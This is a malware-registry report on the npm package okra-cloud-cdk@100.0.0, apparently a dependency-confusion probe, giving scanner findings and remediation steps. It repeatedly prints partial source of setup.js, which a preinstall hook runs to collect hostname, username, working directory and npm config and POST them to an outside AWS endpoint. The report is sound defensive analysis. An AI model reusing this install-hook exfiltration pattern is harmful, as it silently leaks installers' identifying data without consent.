registry / Data exfiltration / okra-cloud-cdk
okra-cloud-cdk
Pad number with leading zeros
This report shows the evidence for okra-cloud-cdk@100.0.0, the only known version.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 23d ago · by lpm-firewall-aiThe inspected source establishes automatic, unconsented export of local identifying information unrelated to the package's functionality. The active collection and network send support a malicious data-exfiltration verdict.
Static reason
High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review
Trigger
Installing the package activates its npm preinstall hook.
Impact
The external recipient receives the installing user's identity, hostname, project directory and environment metadata.
Mechanism
setup.js gathers local environment information, serializes it and sends it through an HTTPS POST without an opt-in gate.
Attack narrative
Installing the package automatically runs setup.js. The script gathers identifying host and project metadata and posts it to an external API endpoint. Errors are ignored, and lifecycle failure is suppressed, allowing installation to continue without surfacing the transmission.
AI rationale
The inspected source establishes automatic, unconsented export of local identifying information unrelated to the package's functionality. The active collection and network send support a malicious data-exfiltration verdict.
Evidence
package.jsonsetup.js
Network endpoints1
s85r5k14qk.execute-api.us-east-1.amazonaws.com/prod/hook
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json automatically runs setup.js during preinstall and suppresses failure.
- setup.js collects the hostname, username, working directory, platform, architecture, Node version and npm registry configuration.
- setup.js sends the collected data in an HTTPS POST to an unrelated API endpoint and silently handles errors.
Evidence against
- index.js provides a simple number-padding function.
- No credential harvesting, remote code execution or filesystem mutation was found.
Behavioral surface
EnvironmentVarsNetwork
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.preinstall = node setup.js || true
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•scripts.preinstall = node setup.js || true
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkgsetup.jsView file
1const https = require('https');
L2: const os = require('os');
L3: const pkg = require('./package.json');
L4: const d = JSON.stringify({
L5: p: pkg.name, v: pkg.version,
L6: h: os.hostname(), u: os.userInfo().username,
L7: c: process.cwd(), o: os.platform(), a: os.arch(),
L8: n: process.version,
L9: r: process.env.npm[redacted] || '',
L10: t: 'pjZvjftLxRGFw4jjHcUUehx3_nQU6g3S'
...
L19: q.on('timeout', () => q.destroy());
L20: q.write(d);
Critical
Credential Exfiltration
Source appears to send environment or credential material to an external endpoint.
setup.jsView on unpkg · L11Trigger-reachable chain: scripts.preinstall -> setup.js
L1: const https = require('https');
L2: const os = require('os');
L3: const pkg = require('./package.json');
L4: const d = JSON.stringify({
L5: p: pkg.name, v: pkg.version,
L6: h: os.hostname(), u: os.userInfo().username,
L7: c: process.cwd(), o: os.platform(), a: os.arch(),
L8: n: process.version,
L9: r: process.env.npm[redacted] || '',
L10: t: 'pjZvjftLxRGFw4jjHcUUehx3_nQU6g3S'
...
L19: q.on('timeout', () => q.destroy());
L20: q.write(d);
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
setup.jsView on unpkg · L11const https = require('https');
L2: const os = require('os');
L3: const pkg = require('./package.json');
L4: const d = JSON.stringify({
L5: p: pkg.name, v: pkg.version,
L6: h: os.hostname(), u: os.userInfo().username,
L7: c: process.cwd(), o: os.platform(), a: os.arch(),
L8: n: process.version,
L9: r: process.env.npm[redacted] || '',
L10: t: 'pjZvjftLxRGFw4jjHcUUehx3_nQU6g3S'
...
L19: q.on('timeout', () => q.destroy());
L20: q.write(d);
High
Host Fingerprint Exfiltration
Source collects local host identity data and sends it to an external endpoint.
setup.jsView on unpkg · L11const https = require('https');
L2: const os = require('os');
L3: const pkg = require('./package.json');
L4: const d = JSON.stringify({
L5: p: pkg.name, v: pkg.version,
L6: h: os.hostname(), u: os.userInfo().username,
L7: c: process.cwd(), o: os.platform(), a: os.arch(),
L8: n: process.version,
L9: r: process.env.npm[redacted] || '',
L10: t: 'pjZvjftLxRGFw4jjHcUUehx3_nQU6g3S'
...
L19: q.on('timeout', () => q.destroy());
L20: q.write(d);
High
Sandbox Evasion Gated Capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
setup.jsView on unpkg · L11Trigger-reachable credential exfiltration chain: scripts.preinstall -> setup.js
L1: const https = require('https');
L2: const os = require('os');
L3: const pkg = require('./package.json');
L4: const d = JSON.stringify({
L5: p: pkg.name, v: pkg.version,
L6: h: os.hostname(), u: os.userInfo().username,
L7: c: process.cwd(), o: os.platform(), a: os.arch(),
L8: n: process.version,
L9: r: process.env.npm[redacted] || '',
L10: t: 'pjZvjftLxRGFw4jjHcUUehx3_nQU6g3S'
...
L19: q.on('timeout', () => q.destroy());
L20: q.write(d);
High
Trigger Reachable Credential Exfiltration
A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.
setup.jsView on unpkg · L1•matchType = malicious_source_fingerprint_signature
signature = 8b5d7d95bec1fce5
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = ai-workshop-maa15-radio@100.0.0
matchedPath = setup.js
matchedIdentity = npm:YWktd29ya3Nob3AtbWFhMTUtcmFkaW8:100.0.0
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
High
Known Malware Source Fingerprint Signature
Source fingerprint signature matches a known malicious package signature; route for source-aware review.
setup.jsView on unpkgFindings
2 Critical5 High4 Medium1 Low
CriticalCredential Exfiltrationsetup.js
CriticalTrigger Reachable Dangerous Capabilitysetup.js
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationsetup.js
HighSandbox Evasion Gated Capabilitysetup.js
HighTrigger Reachable Credential Exfiltrationsetup.js
HighKnown Malware Source Fingerprint Signaturesetup.js
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
Affected versions and remediation
This report applies to okra-cloud-cdk@100.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing okra-cloud-cdk@100.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.